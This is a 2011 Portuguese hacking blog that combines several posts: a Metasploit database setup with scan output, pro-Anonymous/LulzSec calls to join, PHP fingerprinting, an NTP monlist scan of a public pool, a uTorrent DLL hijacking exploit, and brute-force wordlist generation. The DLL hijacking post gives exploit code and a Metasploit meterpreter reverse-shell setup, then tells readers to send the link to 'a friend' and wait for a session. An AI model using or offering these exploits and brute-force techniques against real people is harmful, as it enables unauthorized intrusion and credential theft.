quarta-feira, 6 de julho de 2011

BackTrack5 (BT5) + Metasploit + MySQL standalone server

No BT5 usando o Metasploit3, da um erro quando tentamos conectar com a base de dados. O procedimento abaixo foi tirado do forum do back track:

the purpose of this tutorial is to explain howto setup a standalone mysql server on BT5, and have metasploit connect to it. this is how I am doing it (using ruby1.8 - I have been unsuccessful at getting this to work with ruby 1.9.2 that comes with backtrack5 at this time). later I will update this HOWTO with using rvm, which negates the requirement to switch ruby version manually

root@root:~# apt-get install libmysqlclient-dev
root@root:~# start mysql
mysql start/running, process 3714

root@root:~# mysql -u root -p'toor'
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 39
Server version: 5.1.41-3ubuntu12.10 (Ubuntu)

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> create database pwbv3;
Query OK, 1 row affected (0.00 sec)

mysql> grant usage on *.* to root@localhost identified by 'pass123';
Query OK, 0 rows affected (0.00 sec)

mysql> grant all privileges on pwbv3.* to root@localhost;
Query OK, 0 rows affected (0.00 sec)

mysql> exit
Bye

root@root:~# mysql -u root -p'pass123' pwbv3
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 41
Server version: 5.1.41-3ubuntu12.10 (Ubuntu)

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> quit
Bye

root@root:~# update-alternatives --config ruby
There are 2 choices for the alternative ruby (providing /usr/bin/ruby).

  Selection    Path                Priority   Status
------------------------------------------------------------
  0            /usr/bin/ruby1.8     500       auto mode
  1            /usr/bin/ruby1.8     500       manual mode
* 2            /usr/bin/ruby1.9.2   400       manual mode

Press enter to keep the current choice[*], or type selection number: 0
update-alternatives: using /usr/bin/ruby1.8 to provide /usr/bin/ruby (ruby) in auto mode.

root@root:~# ruby -v
ruby 1.8.7 (2010-01-10 patchlevel 249) [i486-linux]

root@root:~# gem install mysql
root@root:~# ruby1.8 /pentest/exploits/framework3/msfconsole

                _                  _       _ _                                                          
               | |                | |     (_) |                                                          
 _ __ ___   ___| |_ __ _ ___ _ __ | | ___  _| |_                                                        
| '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __|                                                        
| | | | | |  __/ || (_| \__ \ |_) | | (_) | | |_                                                        
|_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__|                                                        
                            | |                                                                          
                            |_|                                                                          
                                                                                                         

       =[ metasploit v3.7.0-release [core:3.7 api:1.0]
+ -- --=[ 684 exploits - 355 auxiliary
+ -- --=[ 217 payloads - 27 encoders - 8 nops

msf > db_driver mysql
[*] Using database driver mysql
msf > db_connect root:pass123@127.0.0.1:3306/pwbv3
msf > db_status
[*] mysql connected to pwbv3
msf > db_nmap -sS -n 192.168.99.133
[*] Nmap: Starting Nmap 5.51 ( http://nmap.org ) at 2011-05-13 17:13 EDT
[*] Nmap: Nmap scan report for 192.168.99.133
[*] Nmap: Host is up (0.00027s latency).
[*] Nmap: Not shown: 998 closed ports
[*] Nmap: PORT    STATE SERVICE
[*] Nmap: 22/tcp  open  ssh
[*] Nmap: 111/tcp open  rpcbind
[*] Nmap: MAC Address: XX:XX:XX:XX:XX:XX (VMware)
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 1.29 seconds
msf > db_hosts
Hosts
=====
address         mac                name  os_name  os_flavor  os_sp  purpose  info  comments
-------         ---                ----  -------  ---------  -----  -------  ----  --------
192.168.99.133  XX:XX:XX:XX:XX:XX                                                
msf > exit

fonte: http://www.backtrack-linux.org/forums/backtrack-5-experts-section/40584-bt5-metasploit-mysql-standalone-server.html

domingo, 26 de junho de 2011

Anonymous e LulzSec

Confira: http://pastebin.com/LPNwdDtU


We Are Anonymous
We Are Legion
We Do Not Forgive
We Do Not Forget
Expect Us

@LulzSec_BR
@LulzSec_Brazil
@LulzSec
@AnonymousIRC
@osvaldo_hp
#antisec
@anonymouSabu

Hacking
Sql injection

sábado, 25 de junho de 2011

Stop PHP Easter eggs fingerprinting

O primeiro passo de um atacante é coletar o máximo de informação necessária sobre o alvo. Em um servidor WEB com PHP instalado pode-se obter mais informações sobre o PHP colocando a string abaixo:

?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000

Ficando assim:

www.sitealvo.com.br/?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000

Para desabilitar esta função no Linux edite o arquivo php.ini e altere:

expose_php = On
para:

expose_php = Off

No windows você tem que editar o arquivo system.ini.

Não existe sistema sem bug, tudo é uma questão de tempo, por isso tente dificultar ao máximo a vida de um hacker ou skiddie.

by Osvaldo H Peixoto

sexta-feira, 24 de junho de 2011

Anonymous declara guerra contra o sistema

O grupo conhecido como Anonymous declarou guerra contra o sistema no dia 15 de junho de 2011, o grupo disponibilizou um vídeo no youtube falando sobre suas idéias e planos:

http://www.youtube.com/watch?v=8c1ua7szp1U

Junte-se ao movimento:
http://www.whatis-theplan.org/login

quarta-feira, 8 de junho de 2011

Listando os Clientes do Servidor de Horas (NTPD)

O que não pode faltar em um ambiente seguro é o LOG, são eles que salvam a vida de qualquer administrador de Sistemas. Para manter um ambiente como este você precisa de um:

- servidor de log centralizado
- servidor de horas (NTPD)

Neste post não vou falar de servidor de log e nem de NTPD, apenas irei demonstrar como usar o módulo ntp_monlist.rb (1) do metasploit. Com este módulo você pode ver os IPs que estão utilizando o servidor de horas para sincronizar o horário. Em uma rede com muitos servidores este método nos ajudaria a detectar todas as máquinas que não estão sincronizando com o nosso servidor.

msf > use auxiliary/scanner/ntp/ntp_monlist
msf auxiliary(1mntp_monlist) > set RHOSTS pool.ntp.br
msf auxiliary(1mntp_monlist) > run

Espere pelo retorno dos IPs dos clientes que recentemente fizeram sincronismo com o servidor de horas.


(1) http://dev.metasploit.com/redmine/projects/framework/repository/entry/modules/auxiliary/scanner/ntp/ntp_monlist.rb

sexta-feira, 3 de junho de 2011

DLL Hijacking - agora é a minha vez

Tenho visto muitos posts sobre DLL Hijacking, que consiste em fazer com que o Windows rode uma DLL com código malicioso.

Neste post não vou detalhar esta vulnerabilidade e muito menos postar algo novo sobre o assunto, a idéia é postar um resumo do que eu acho importante daquilo que tenho visto em outros sites, por exemplo, um post no blog do HD Moore do projeto Metasploit falando sobre a ferramenta DLLHijackAuditKit v2.

Como explorar esta vulnerabilidade


Em 2010 foi descoberto uma vulnerabilidade no uTorrent chamada de "uTorrent <= 2.0.3 DLL Hijacking Exploit (plugin_dll.dll)"(1).

Uma breve explicação de como testar esse exploit:

Compile o código abaixo e nomeie para plugin_dll.dll:

#include
#define DLLIMPORT __declspec (dllexport)

DLLIMPORT void hook_startup() { evil(); }

int evil()
{
  WinExec("calc", 0);
  exit(0);
  return 0;
}

Crie um arquivo com qualquer nome, mas tem que ter a extensão .torrent, para o nosso exemplo vamos chamar esse arquivo de:

dllhijacking.torrent


Não se esqueça de instalar o uTorrent <= 2.0.3, dê dois cliques no arquivo (dllhijacking.torrent) e veja que a calculadora do Windows será executada. Poderíamos fazer com que fosse executado o uTorrent e uma backdoor no lugar da calculadora.

Este exploit já esta disponível no framework Metasploit, segue abaixo como executar esse modulo no framework:


#msfconsole
msf > use windows/browser/webdav_dll_hijacker
msf exploit(webdav_dll_hijacker) > set basename nome_do_arquivo
msf exploit(webdav_dll_hijacker) > set extensions “torrent”
msf exploit(webdav_dll_hijacker) > set sharename arquivos
msf exploit(webdav_dll_hijacker) > set payload windows/meterpreter/reverse_tcp
msf exploit(webdav_dll_hijacker) > set lport 443
msf exploit(webdav_dll_hijacker) > set lhost 192.168.200.1
msf exploit(webdav_dll_hijacker) > exploit
[*] Exploit running as background job.
[*] Started reverse handler on 192.168.200.1:443
[*] Exploit links are now available at \\192.168.200.1\arquivos\
[*] Using URL: http://0.0.0.0:80/
[*] Local IP: http://192.168.200.1:80/
[*] Server started.


Mande o link "http://192.168.200.1/arquivos" para um amigo acessar e espere uma sessão ser aberta no metasploit, mas para funcionar ele tem que ter o uTorrent vulnerável.


obs: se você não sabe usar o Metasploit veja esse tutorial que postei aqui no blog:

http://osvaldohp.blogspot.com/2010/12/metasploit-parte-1.html

Como descobrir bibliotecas vulneráveis?

A resposta esta no blog do HD Moore do projeto Metasploit (2).  Moore fala sobre a nova versão da ferramenta  DLLHijackAuditKit v2, que serve para encontrar bibliotecas vulneráveis. No post de Moore ele descreve como você deve usar a ferramenta, segue abaixo os passos descrito por Moore:

1. Download DLLHijackAuditKit v2 e o Process Monitor, extraia para dentro de um diretório.

2. Execute 01_StartAudit.bat como Administrador.

3. Depois que o script acabar de executar (15-30 minutos), vá até o programa "Process Monitor", acesse File->Save. Salve o resultado no formato CSV com o nome "Logfile.CSV".

4. Agora execute 02_Analyze.bat como Administrador, ele ira "scanear" o arquivo CSV, ira realizar alguns testes e criar a prova de conceito para cada teste positivo.

Veja esse vídeo que mostra como executar o DLLHijackAuditKit e criar um payload com o metasploit para explorar esta vulnerabilidade se conectando em um netcat:

http://vimeo.com/14442659


A equipe do exploit-db fez uma lista com vários programas que estão vulneráveis a DLL Hijacking:

http://www.exploit-db.com/dll-hijacking-vulnerable-applications/

links:
(1) http://www.exploit-db.com/exploits/14726/
(2) http://blog.metasploit.com/2010/08/better-faster-stronger.html

quarta-feira, 1 de junho de 2011

Crie seu próprio dicionário para força bruta

Uma das técnicas de ataque bastante utilizada em pentest é o de força bruta, para isso você precisa de um bom dicionário. Neste post vamos aprender a criar um dicionário a partir de um documento txt.

Vamos usar a string abaixo para pegar um texto dentro de um arquivo e colocar cada palavra por linha:

cat saida.txt | awk '{FS= " "}{for(i=1;i<NF+1;i++) if ($i ~ /[a-zA-Z0-9]+/) print $i}' > dicionario.txt

Neste exemplo o arquivo "documento.txt" tem o seguinte conteúdo:

"teste. tes) dsdas" :wq dfsds; dss@ dffd% fdsgfds!"


A string acima ira pegar cada palavra e colocar uma por linha e salvará o resultado no arquivo dicionario.txt, ficando assim:


teste.
tes)
dsdas"
:wq
dfsds;
dss@
dffd%
fdsgfds!

Agora precisamos tirar os caracteres especiais, para isso usaremos o comando sed do linux:
sed -i -r "s/[\"\!\@\#\$\%\&\(\)\:\.\;]//g" dicionario.txt

Agora podemos usar o script "lensort.pl" que criará vários arquivos com base no tamanho da palavra, segue abaixo o script:



#!/usr/bin/perl
# Sort passwords into new files based on length
# Input: password file
# Output 1.txt, 2.txt, 3.txt, 4.txt, etc
use warnings;
use strict;
my @lines;
# Read from stdn in if filename is -, otherwise open file
if (! $ARGV[0]) {
    print "Usage: $0 \n";
    exit 2;
}
if ("$ARGV[0]" eq "-") {
    @lines = ;
} elsif ( -e $ARGV[0] ) {
    open my $ifh, '<', $ARGV[0] or die "Unable to open file $ARGV[0]: $!\n";
    @lines = <$ifh>;
    close $ifh;
} else {
    print "Unable to open file: $ARGV[0]\n";
    exit 2;
}
chomp @lines;
my %fhs; # Hash of filehandles, 1.txt, 2.txt, etc
print "Sorting ".scalar(@lines)." passwords by length\n";
foreach my $pw (@lines) {
    if (!defined($fhs{length($pw)})) {
        open $fhs{length($pw)}, '>', "".length($pw).".txt";
    }
    print { $fhs{length($pw)} } "$pw\n";
}
foreach my $key (keys(%fhs)) {
  print "Finished $key.txt\n";
  close $fhs{$key};
}
Veja abaixo como executar o script e o resultado:
./lensort.pl dicionario.txt Sorting 9 passwords by length Finished 4.txt Finished 0.txt Finished 3.txt Finished 7.txt Finished 2.txt Finished 5.txt
Este script criou 6 arquivos conforme o número de caracteres, ideal para você usar em sistemas em que você sabe que a Política de Senha esta configurada para que a senha seja por exemplo no mínimo 7 caracteres - neste caso você ira usar o arquivo 7.txt - com isso agilizando o tempo de ataque.
Segue o link de onde baixei o script: